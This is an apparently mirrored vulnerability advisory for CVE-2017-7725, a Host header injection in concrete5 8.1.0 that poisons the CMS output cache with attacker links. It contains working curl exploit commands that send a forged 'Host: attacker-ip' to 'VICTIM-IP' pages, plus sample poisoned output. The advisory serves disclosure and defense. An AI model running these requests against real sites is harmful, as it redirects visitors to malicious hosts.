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Concrete5 8.1.0 - Host Header Injection Vulnerability
Author
Risk
[Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
[+] Credits: John Page a.k.a hyp3rlinx
Vendor:
==================
www.concrete5.org
Product:
================
concrete5 v8.1.0
concrete5 is an open-source content management system (CMS) for publishing content on the World Wide Web and intranets.
Vulnerability Type:
======================
Host Header Injection
CVE Reference:
==============
CVE-2017-7725
Security Issue:
================
If a user does not specify a "canonical" URL on installation of concrete5, unauthenticated remote attackers can write to the
"collectionversionblocksoutputcache" table of the MySQL Database, by making HTTP GET request with a poisoned HOST header.
Some affected concrete5 webpages can then potentially render arbitrary links that can point to a malicious website.
Example MySQL data from "CollectionVersionBlocksOutputCache" table.
(164, 1, 57, 'Header Site Title', '<a href="http://attacker-ip/concrete5-8.1.0/index.php" id="header-site-title">Elemental</a>', 1649861489
e.g.
c:\> curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/services -H "Host: attacker-ip" | more
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<link rel="stylesheet" type="text/css" href="/concrete5-8.1.0/concrete/themes/elemental/css/bootstrap-modified.css">
<link href="/concrete5-8.1.0/application/files/cache/css/elemental/main.css?ts=1492101910" rel="stylesheet" type="text/css" media="all">
<title>Services :: POC</title>
<meta http-equiv="content-type" content="text/html; charset=UTF-8"/>
<meta name="generator" content="concrete5 - 8.1.0"/>
<script type="text/javascript">
var CCM_DISPATCHER_FILENAME = "/concrete5-8.1.0/index.php";
var CCM_CID = 162;
var CCM_EDIT_MODE = false;
var CCM_ARRANGE_MODE = false;
var CCM_IMAGE_PATH = "/concrete5-8.1.0/concrete/images";
var CCM_TOOLS_PATH = "/concrete5-8.1.0/index.php/tools/required";
var CCM_APPLICATION_URL = "http://attacker-ip/concrete5-8.1.0"; <=================== HERE
var CCM_REL = "/concrete5-8.1.0";
</script>
Exploit:
=========
curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/team/faq -H "Host: attacker-ip"
curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/services -H "Host: attacker-ip"
curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/portfolio -H "Host: attacker-ip"
Navigate to one of these URLs:
http://VICTIM-IP/concrete5-8.1.0/index.php/services
http://VICTIM-IP/concrete5-8.1.0/index.php/portfolio
Click on links in header portion of the webpage from one of the above URLs.
Services
Portfolio
Team / Drop down Menu
Blog
Contact
OR
click on the links on footer portion of the webpage.
FAQ / Help
Case Studies
Blog
Another Link
View on Google Maps
Result: user gets redirected to attacker-ip.
Network Access:
===============
Remote
Severity:
=========
High
Disclosure Timeline:
======================================================
Vendor Notification : April 11, 2017
Vendor reply: "this is a known issue" : April 12, 2017
Requested a CVE from mitre.
CVE assigned : April 12, 2017
April 13, 2017 : Public Disclosure
# 0day.today [2024-11-16] #